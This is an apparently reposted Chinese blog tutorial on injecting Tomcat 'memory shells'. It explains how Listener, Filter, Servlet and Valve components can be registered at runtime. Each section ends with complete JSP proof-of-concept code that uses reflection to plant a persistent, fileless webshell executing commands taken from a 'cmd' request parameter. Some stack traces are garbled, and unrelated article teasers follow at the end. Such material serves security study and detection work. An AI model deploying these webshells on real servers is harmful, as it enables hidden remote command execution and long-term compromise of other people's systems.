Tomcat内存马

Tomcat内存马

前言

描述Servlet3.0后允许动态注册组件

这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。

而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.55</version>
</dependency>

关键在于 JSP->可识别类(恶意类)

所以需要看写在java文件中被系统调用时的堆栈过程,利用jsp技术把这个注册过程写入jsp,在访问jsp之后就会执行这个逻辑以此注入内存马

问题1:
注入内存马之后是访问就会触发动态注册的动作还是注入就自动执行动态注册的动作?访问后生效

Listener型内存马

Servlet有三种监听器:

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

这三种最合适的莫过于ServletRequestListener,只要访问Servlet的任何资源都会触发这个监听器

创建Listener:

package org.example.demo;import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;@WebListener
public class ServletListener implements ServletRequestListener {@Overridepublic void requestDestroyed (ServletRequestEvent sre) {System.out.println("requestDestroyed");}@Overridepublic void requestInitialized (ServletRequestEvent sre) {ServletRequest servletRequest = sre.getServletRequest();String cmd = servletRequest.getParameter("cmd");if(cmd != null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}}
}

验证:

image

调用堆栈如下:

requestInitialized:13, Shell_Listener (org.example.demo)
fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocolC o n n e c t i o n H a n d l e r ( o r g . a p a c h e . c o y o t e ) d o R u n : 1794 , N i o E n d p o i n t ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutorW o r k e r ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 61 , T a s k T h r e a d Worker (org.apache.tomcat.util.threads) run:61, TaskThread Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

调用Listener的关键步骤fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)

跟进看函数逻辑:

    public boolean fireRequestInitEvent(ServletRequest request) {Object instances[] = getApplicationEventListeners();if ((instances != null) && (instances.length > 0)) {ServletRequestEvent event =new ServletRequestEvent(getServletContext(), request);for (Object instance : instances) {if (instance == null) {continue;}if (!(instance instanceof ServletRequestListener)) {continue;}ServletRequestListener listener = (ServletRequestListener) instance;try {listener.requestInitialized(event);} catch (Throwable t) {ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString("standardContext.requestListener.requestInit",instance.getClass().getName()), t);request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);return false;}}}return true;}

简单分析一下创建监听器的流程:

1.获取当前上下文的所有监听器
2.获取StandardContext上下文
3.创建监听器

image

所以利用jsp技术动态创建监听器也是一样的道理

第一步 添加监听器

首先就是添加监听器,跟进getApplicationEventListeners​函数

image

继续跟进applicationEventListenersList

image

image

发现这个属性就可以直接添加监听器了

跟进:

image

addApplicationEventListener​函数可以添加监听器,那么第一步就解决了

这里注意的就是这个StandardContext​类的,后面jsp的时候获取也是StandardContext​类,但是只有getServletContext​这个方法,所以获取他的父类Context,使用getContext​方法

第二步 获取ServletContext

invoke:116, StandardHostValve (org.apache.catalina.core)​这一步可以发现他获取servlet的方式:

image

恰好jsp也内置了request,所以这里也是可以利用

只需要反射利用Field获取即可

Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requests = (Request) requestField.get(request);

这里回顾的时候有点太久没学反射了,把request.get(obj)和request.get(null)给搞混了

这里有两个例子(返回的结果都是Hello, qingfeng!​),运行一下就能会议起来了

例一[Field.get(null)]
package org.example.demo;import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws IllegalAccessException {MyClass obj = new MyClass();// 获取 Class 对象Class<?> cls = obj.getClass();// 获取字段的值try {Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值// 获取字段的值Object value = field.get(null);System.out.println("字段的值:" + value);} catch (NoSuchFieldException e) {e.printStackTrace();}}
}class MyClass {static String  myField = "Hello, qingfeng!";
}例二[Field.get(obj)]
package org.example.demo;import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws IllegalAccessException {MyClass obj = new MyClass();// 获取 Class 对象Class<?> cls = obj.getClass();// 获取字段的值try {Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值// 获取字段的值Object value = field.get(obj);System.out.println("字段的值:" + value);} catch (NoSuchFieldException e) {e.printStackTrace();}}
}class MyClass {private String  myField = "Hello, qingfeng!";
}

POC:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.annotation.WebListener" %>
<%!@WebListenerpublic class ServletListener implements ServletRequestListener {@Overridepublic void requestDestroyed (ServletRequestEvent sre) {System.out.println("requestDestroyed");}@Overridepublic void requestInitialized (ServletRequestEvent sre) {ServletRequest servletRequest = sre.getServletRequest();String cmd = servletRequest.getParameter("cmd");if(cmd != null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}}}
%><%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request requests = (Request) requestField.get(request);StandardContext context = (StandardContext)requests.getContext();ServletListener servletListener = new ServletListener();context.addApplicationEventListener(servletListener);
%>

Filter型内存马

Filter是链式调用执行的,Filter会在访问不Web资源之前被执行,而且定义Filter时可以根据访问的路径来设置,相对来说更灵活。

首先同理创建一个Java文件写Filter型内存马:

package org.example.demo;import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;@WebFilter("/*")
public class ServletFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {String cmd = request.getParameter("cmd");if(cmd != null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}chain.doFilter(request, response);}@Overridepublic void destroy() {Filter.super.destroy();}
}

记得要加chain.doFilter(request, response);​不然后面都被阻塞了

image

在cmd下断点看堆栈情况:

doFilter:17, ServletFilter (org.example.demo)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocolC o n n e c t i o n H a n d l e r ( o r g . a p a c h e . c o y o t e ) d o R u n : 1794 , N i o E n d p o i n t ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutorW o r k e r ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 61 , T a s k T h r e a d Worker (org.apache.tomcat.util.threads) run:61, TaskThread Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

和Listener同理,我们直接定位关键步骤internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)

private void internalDoFilter(ServletRequest request,ServletResponse response)throws IOException, ServletException {// Call the next filter if there is oneif (pos < n) {ApplicationFilterConfig filterConfig = filters[pos++];try {Filter filter = filterConfig.getFilter();if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);}if( Globals.IS_SECURITY_ENABLED ) {final ServletRequest req = request;final ServletResponse res = response;Principal principal =((HttpServletRequest) req).getUserPrincipal();Object[] args = new Object[]{req, res, this};SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);} else {filter.doFilter(request, response, this);}} catch (IOException | ServletException | RuntimeException e) {throw e;} catch (Throwable e) {e = ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString("filterChain.filter"), e);}return;}// We fell off the end of the chain -- call the servlet instancetry {if (ApplicationDispatcher.WRAP_SAME_OBJECT) {lastServicedRequest.set(request);lastServicedResponse.set(response);}if (request.isAsyncSupported() && !servletSupportsAsync) {request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,Boolean.FALSE);}// Use potentially wrapped request from this pointif ((request instanceof HttpServletRequest) &&(response instanceof HttpServletResponse) &&Globals.IS_SECURITY_ENABLED ) {final ServletRequest req = request;final ServletResponse res = response;Principal principal =((HttpServletRequest) req).getUserPrincipal();Object[] args = new Object[]{req, res};SecurityUtil.doAsPrivilege("service",servlet,classTypeUsedInService,args,principal);} else {servlet.service(request, response);}} catch (IOException | ServletException | RuntimeException e) {throw e;} catch (Throwable e) {e = ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString("filterChain.servlet"), e);} finally {if (ApplicationDispatcher.WRAP_SAME_OBJECT) {lastServicedRequest.set(null);lastServicedResponse.set(null);}}}

Filter的流程相对Listener来说更麻烦,StandardContext并没有类似addFilter的方法,上面我们也提到了Filter是链式调用,所以接受的是一个FilterMap,还需要利用FilterMap把我们的恶意类包装起来。

首先找到filters属性的定义看他的类型:

image

需要一个ApplicationFilterConfig类​,往上一步看是如何创建ApplicationFilterConfig类的

image

ApplicationFilterFactory​的createFilterChain​方法创建了ApplicationFilterChain​类,跟进createFilterChain​看一下:

public static ApplicationFilterChain createFilterChain(ServletRequest request,Wrapper wrapper, Servlet servlet) {// If there is no servlet to execute, return nullif (servlet \=\= null) {return null;}// Create and initialize a filter chain objectApplicationFilterChain filterChain \= null;if (request instanceof Request) {Request req \= (Request) request;if (Globals.IS\_SECURITY\_ENABLED) {// Security: Do not recyclefilterChain \= new ApplicationFilterChain();} else {filterChain \= (ApplicationFilterChain) req.getFilterChain();if (filterChain \=\= null) {filterChain \= new ApplicationFilterChain();req.setFilterChain(filterChain);}}} else {// Request dispatcher in usefilterChain \= new ApplicationFilterChain();}filterChain.setServlet(servlet);filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());// Acquire the filter mappings for this ContextStandardContext context \= (StandardContext) wrapper.getParent();FilterMap filterMaps[] \= context.findFilterMaps();// If there are no filter mappings, we are doneif ((filterMaps \=\= null) || (filterMaps.length \=\= 0)) {return filterChain;}// Acquire the information we will need to match filter mappingsDispatcherType dispatcher \=(DispatcherType) request.getAttribute(Globals.DISPATCHER\_TYPE\_ATTR);String requestPath \= null;Object attribute \= request.getAttribute(Globals.DISPATCHER\_REQUEST\_PATH\_ATTR);if (attribute !\= null){requestPath \= attribute.toString();}String servletName \= wrapper.getName();// Add the relevant path-mapped filters to this filter chainfor (FilterMap filterMap : filterMaps) {if (!matchDispatcher(filterMap, dispatcher)) {continue;}if (!matchFiltersURL(filterMap, requestPath)) {continue;}ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig \=\= null) {// FIXME - log configuration problemcontinue;}filterChain.addFilter(filterConfig);}// Add filters that match on servlet name secondfor (FilterMap filterMap : filterMaps) {if (!matchDispatcher(filterMap, dispatcher)) {continue;}if (!matchFiltersServlet(filterMap, servletName)) {continue;}ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig \=\= null) {// FIXME - log configuration problemcontinue;}filterChain.addFilter(filterConfig);}// Return the completed filter chainreturn filterChain;}

简化一下逻辑就是这样:

1.	filterChain = new ApplicationFilterChain();	创建一个ApplictionFilterChain对象
2.	StandardContext context = (StandardContext) wrapper.getParent();	获取当前进程Context
3.	FilterMap filterMaps[] = context.findFilterMaps();  通过Context获取所有过滤器
4.	ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());	获取filterConfig
5.	filterChain.addFilter(filterConfig); 添加过滤器

一个小知识:一个filterConfig​对应一个filter,但是一个filter可以有多个filterConfig

这里需要了解一下FilterMap和FilterConfig

image

filterMap主要存储的是urlPatterns和filterName这些信息

恰好对应配置的这些标签:

<filter-mapping><filter-name></filter-name><url-pattern></url-pattern>
</filter-mapping>

filterConfig存储的是filterDef,filterDef下有filterClass和filterName这些信息

image

filterDef这两项配置对应的恰好就说注册表里面的配置:

<filter><filter-name></filter-name><filter-class></filter-class>
</filter>

因此构造恶意的Filter就需要注册这些信息才能使得Filter生效

1.	filterChain = new ApplicationFilterChain();	创建一个ApplictionFilterChain对象
2.	StandardContext context = (StandardContext) wrapper.getParent();	获取当前进程Context
3.	FilterMap filterMaps[] = context.findFilterMaps();  通过Context获取所有过滤器
4.	ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());	获取filterConfig
5.	filterChain.addFilter(filterConfig); 添加过滤器

第一步 获取ServletContext

其实第一步是和上面原生的一样创建ApplicationFilterChain对象,但是创建ApplicationFilterChain对象需要反射获取他的Context。所以第一步还是需要从request获取StandardContext

    Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request requestImp = (Request) requestField.get(request);StandardContext standardContext = (StandardContext)requestImp.getContext();

还有另一种获取StandardContext的方式,Tomcat启动会为每个环境创建Session、Cookie等信息,都由StandardContext控制

所以可以利用request.getSession().getServletContext()​获取,但是request.getSession().getServletContext()​只是得到了ApplicationContext,还需要再反射一次才能获取StandardContext,比较麻烦,如下图所示

image

第二步 设置FilterDef

    FilterDef filterDef = new FilterDef();filterDef.setFilterName("ServletFilter");filterDef.setFilterClass(servletFilter.getClass().getName());filterDef.setFilter(servletFilter);standardContext.addFilterDef(filterDef);

第三步 设置FilterMap

    FilterMap filterMap = new FilterMap();filterMap.setFilterName(servletFilter.getClass().getName());filterMap.addURLPattern("/*");filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求standardContext.addFilterMap(filterMap);

DispatcherType​ 是一个枚举类型,它定义了 Servlet 中的请求调度器类型。在这里.REQUEST​ 表示该过滤器将被调度处理来自客户端的请求

第四步 包装FilterDef和FilterConfig

    Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);applicationFilterConfigConstructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);Map filterConfigs = (Map) filterConfigsField.get(standardContext);filterConfigs.put("ServletFilter", applicationFilterConfig);

这一步的关键代码看StandardContext的filterStart​方法的16,17,18三行:

public boolean filterStart() {if (getLogger().isDebugEnabled()) {getLogger().debug("Starting filters");}// Instantiate and record a FilterConfig for each defined filterboolean ok = true;synchronized (filterConfigs) {filterConfigs.clear();for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {String name = entry.getKey();if (getLogger().isDebugEnabled()) {getLogger().debug(" Starting filter '" + name + "'");}try {ApplicationFilterConfig filterConfig =new ApplicationFilterConfig(this, entry.getValue());filterConfigs.put(name, filterConfig);} catch (Throwable t) {t = ExceptionUtils.unwrapInvocationTargetException(t);ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString("standardContext.filterStart", name), t);ok = false;}}}return ok;}

POC

<%@ page import="javax.servlet.annotation.WebFilter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %><%!@WebFilter("/*")public class ServletFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {String cmd = request.getParameter("cmd");if(cmd != null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}chain.doFilter(request, response);}@Overridepublic void destroy() {Filter.super.destroy();}}
%><%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request requestImp = (Request) requestField.get(request);StandardContext standardContext = (StandardContext)requestImp.getContext();ServletFilter servletFilter = new ServletFilter();//FilterDefFilterDef filterDef = new FilterDef();filterDef.setFilterName("ServletFilter");filterDef.setFilterClass(servletFilter.getClass().getName());filterDef.setFilter(servletFilter);standardContext.addFilterDef(filterDef);//FilterMapFilterMap filterMap = new FilterMap();filterMap.setFilterName("ServletFilter");filterMap.addURLPattern("/*");filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求standardContext.addFilterMapBefore(filterMap);//FilterConfigConstructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);applicationFilterConfigConstructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);Map filterConfigs = (Map) filterConfigsField.get(standardContext);filterConfigs.put("ServletFilter", applicationFilterConfig);
%>

Servlet型内存马

Servlet是最晚被调用的,调用顺序为Listener->Filter->Servlet

servlet分为四个阶段

1.init(),初始阶段,只被调用一次,也是第一次创建Servlet时被调用
2.service(),服务阶段。处理客户请求,doGet(),doPost()等
3.doGet(),doPost()处理阶段
4.destory(),销毁阶段

构造一个恶意类

package org.example.demo;import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;@WebServlet("/ServletShell")
public class ServletServlet implements Servlet {@Overridepublic void init(ServletConfig config) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {String cmd = req.getParameter("cmd");Runtime.getRuntime().exec(cmd);}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}
}

image

这次查看堆栈信息是看不到创建Servlet的过程的,只能从头开始分析了,下图参考https://blog.csdn.net/u010883443/article/details/107463782的一张图片

image

我们重点关注web.xmlwebConfig解析的下一步,xml赋值对象configureContext,定位org.apache.catalina.startup​的ContextConfig​类的configureContext(WebXml webxml)​方法:

    private void configureContext(WebXml webxml) {// As far as possible, process in alphabetical order so it is easy to// check everything is present// Some validation depends on correct public ID///*.......加载xml文件Wrapper wrapper = context.createWrapper();*///wrapper.setName(servlet.getServletName());Map<String,String> params = servlet.getParameterMap();for (Entry<String, String> entry : params.entrySet()) {wrapper.addInitParameter(entry.getKey(), entry.getValue());}wrapper.setRunAs(servlet.getRunAs());Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();for (SecurityRoleRef roleRef : roleRefs) {wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());}wrapper.setServletClass(servlet.getServletClass());/*简化代码*/context.addChild(wrapper);}for (Entry<String, String> entry :webxml.getServletMappings().entrySet()) {context.addServletMappingDecoded(entry.getKey(), entry.getValue());}SessionConfig sessionConfig = webxml.getSessionConfig();if (sessionConfig != null) {if (sessionConfig.getSessionTimeout() != null) {context.setSessionTimeout(sessionConfig.getSessionTimeout().intValue());}SessionCookieConfig scc =context.getServletContext().getSessionCookieConfig();scc.setName(sessionConfig.getCookieName());scc.setDomain(sessionConfig.getCookieDomain());scc.setPath(sessionConfig.getCookiePath());scc.setComment(sessionConfig.getCookieComment());if (sessionConfig.getCookieHttpOnly() != null) {scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());}if (sessionConfig.getCookieSecure() != null) {scc.setSecure(sessionConfig.getCookieSecure().booleanValue());}if (sessionConfig.getCookieMaxAge() != null) {scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());}if (sessionConfig.getSessionTrackingModes().size() > 0) {context.getServletContext().setSessionTrackingModes(sessionConfig.getSessionTrackingModes());}}// Context doesn't use version directly// ....}

这里面可以提取出几个关键代码:

Wrapper wrapper = context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

这个就是注册Servlet的关键流程

写JSP文件注册即可

POC

<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%!@WebServlet(name = "ServletServlet", value = "/ServletServlet")public class ServletServlet extends HttpServlet {@Overridepublic void init(ServletConfig config) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {String cmd = req.getParameter("cmd");Runtime.getRuntime().exec(cmd);}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}}
%><%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request requestImp = (Request) requestField.get(request);StandardContext context = (StandardContext) requestImp.getContext();Wrapper wrapper = context.createWrapper();wrapper.setName("ServletServlet");wrapper.setServletClass(ServletServlet.class.getName());wrapper.setServlet(new ServletServlet());context.addChild(wrapper);context.addServletMappingDecoded("/ServletServlet", "ServletServlet");
%>

首先要访问这个jsp文件触发构造内存马,之后访问/ServletServlet即可触发:

image

缺点就说必须访问对应的路径,不利于隐藏

valve型内存马

Tomcat有四大组件,分别是Engine​,Host​,Context​,Wrapper​。这四个之间的消息传递与沟通离不开Valve(阀门)​与Pipeline(管道)

Valve的接口如下:

public interface Valve {public Valve getNext();public void setNext(Valve valve);public void backgroundProcess();public void invoke(Request request, Response response)throws IOException, ServletException;public boolean isAsyncSupported();
}

简单点理解就是在Tomcat的调用过程中肯定会调用到Valve.invoke,只要我们实现这个接口并且在Valve构造恶意代码就可以达到RCE的目的

但是需要讲构造的恶意Valve实现类加入到调用链中,这就需要用到Pipeline​,其接口如下:

public interface Valve {public Valve getNext();public void setNext(Valve valve);public void backgroundProcess();public void invoke(Request request, Response response)throws IOException, ServletException;public boolean isAsyncSupported();
}

使用Pipeline​时需要注意两个点

1.pipeline添加恶意类实现RCE
2.调用getNext()使得整条链子不会断,否则虽然可以执行命令但系统会出错

POC

<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %><%!public class ServletValve implements Valve {private Valve next;@Overridepublic Valve getNext() {return next;}@Overridepublic void setNext(Valve valve) {this.next = valve;}@Overridepublic void backgroundProcess() {}@Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {try {Runtime.getRuntime().exec("calc");this.getNext().invoke(request, response);} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic boolean isAsyncSupported() {return false;}}
%><%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request requestImp = (Request)requestField.get(request);StandardContext standardContext = (StandardContext)requestImp.getContext();Pipeline pipeline = standardContext.getPipeline();pipeline.addValve(new ServletValve());
%>

访问一次后构造内存马,第二次生效

image

参考链接

https://goodapple.top/archives/1355

https://xz.aliyun.com/t/11988

https://blog.csdn.net/u010883443/article/details/107463782

https://www.cnblogs.com/coldridgeValley/p/5816414.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/750804.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AI+编程】利用chatGPT编写python程序处理日常excel工作提升效率小技巧

之前写过一篇AI编程相关的文章 【人工智能】为啥我最近很少写python编程文章了&#xff0c;浅谈AI编程RPA提升工作效率 。 最近有同学私信我&#xff0c;怎么利用AI编程来提升工作效率&#xff0c;除了文章里讲的 使用AI帮忙写算法、代码提示、代码优化、不同语言转换(如J…

Axios异步框架和Json数据格式

一.Axios异步框架 对原生的Ajax进行封装&#xff0c;简化书写。 给大家提供一下axios的源码&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1ZSrUBe0B4dIq7d6NpUzqOQ 提取码&#xff1a;gr86 将源码粘贴到项目之中。 1.基础使用 首先单独创建一个Servlet&#xf…

Godot 学习笔记(2):信号深入讲解

文章目录 前言相关链接环境信号简单项目搭建默认的信号先在label里面预制接收函数添加信号 自定义无参数信号为了做区分&#xff0c;我们在label新增一个函数 自定义带参数信号Button代码label代码连接信号 自定义复杂参数信号自定义GodotObject类ButtonLabel连接信号 信号函数…

数字IC实践项目(9)—SNN加速器的设计和实现(tiny_ODIN)

数字IC实践项目&#xff08;9&#xff09;—基于Verilog的SNN加速器 写在前面的话项目整体框图完整电路框图 项目简介和学习目的软件环境要求 Wave&CoverageTiming&#xff0c;Area & Power总结 写在前面的话 项目介绍&#xff1a; SNN硬件加速器是一种专为脉冲神经网…

uniapp样式穿透修改uview的按钮button图标

需求&#xff1a; 想给按钮icon和text改字体颜色&#xff0c;结果发现图标颜色并没有改变 .u-button{width: 300rpx;background-color: aliceblue;color: #aaaa7f;margin-top: 20rpx; }接下来用样式穿透解决 1、首先&#xff0c;给UI组件包裹一层view <view class"t…

ElasticSearch:数据的魔法世界

​ 欢迎来到ElasticSearch的奇妙之旅&#xff01;在这个充满魔法的搜索引擎世界中&#xff0c;数据不再是沉闷的数字和字母&#xff0c;而是变得充满活力和灵动。无论你是刚刚踏入数据探索的小白&#xff0c;还是已经对搜索引擎有所了解的行者&#xff0c;本篇博客都将为你揭示…

unity内存优化之AB包篇(微信小游戏)

1.搭建资源服务器使用(HFS软件(https://www.pianshen.com/article/54621708008/)) using System.Collections; using System.Collections.Generic; using UnityEngine;using System;public class Singleton<T> where T : class, new() {private static readonly Lazy<…

【集成开发环境】-VS Code:C/C++ 环境配置

简介 VS Code&#xff0c;全称Visual Studio Code&#xff0c;是一款由微软开发的跨平台源代码编辑器。它支持Windows、Linux和macOS等操作系统&#xff0c;并且具有轻量级、高效、可扩展等特点&#xff0c;深受广大开发者的喜爱。 VS Code拥有丰富的功能特性&#xff0c;包括…

计算机三级网络技术综合题第三题、第四题详细解析

第三大题 DHCP报文分析&#xff08;10分&#xff09; 一、DHCP工作流程&#xff08;一般情况下&#xff09; 报文摘要 对应上面报文1—4 报文1、3DHCP&#xff1a;Request&#xff1b; 报文2、4DHCP&#xff1a;Reply。 例题&#xff08;第三套&#xff09;&#xff1a;在一…

程序员入行忠告!

点击下方“JavaEdge”&#xff0c;选择“设为星标” 第一时间关注技术干货&#xff01; 关注我&#xff0c;紧跟本系列专栏文章&#xff0c;咱们下篇再续&#xff01; 作者简介&#xff1a;魔都技术专家兼架构&#xff0c;多家大厂后端一线研发经验&#xff0c;各大技术社区头部…

十五、自回归(AutoRegressive)和自编码(AutoEncoding)语言模型

参考自回归语言模型&#xff08;AR&#xff09;和自编码语言模型&#xff08;AE&#xff09; 1 自回归语言模型&#xff08; AR&#xff09; 自回归语言模型&#xff08;AR&#xff09;就是根据上文内容&#xff08;或下文内容&#xff09;预测下一个&#xff08;或前一个&…

安装OpenEBS,镜像总是报错ImagePullBackOff或者ErrImagePull的解决方法

按照 KubeSphere 官方文档安装 OpenEBS&#xff0c;镜像总是报错ImagePullBackOff或者ErrImagePull的解决方法 helm 有很多更换 源 的文章&#xff0c;有一些是写更换阿里云的源&#xff0c;但是阿里云的源根本没更新OpenEBS的镜像。 在网上找到1个可用的源&#xff1a; 可用的…

探讨TCP的可靠性以及三次握手的奥秘

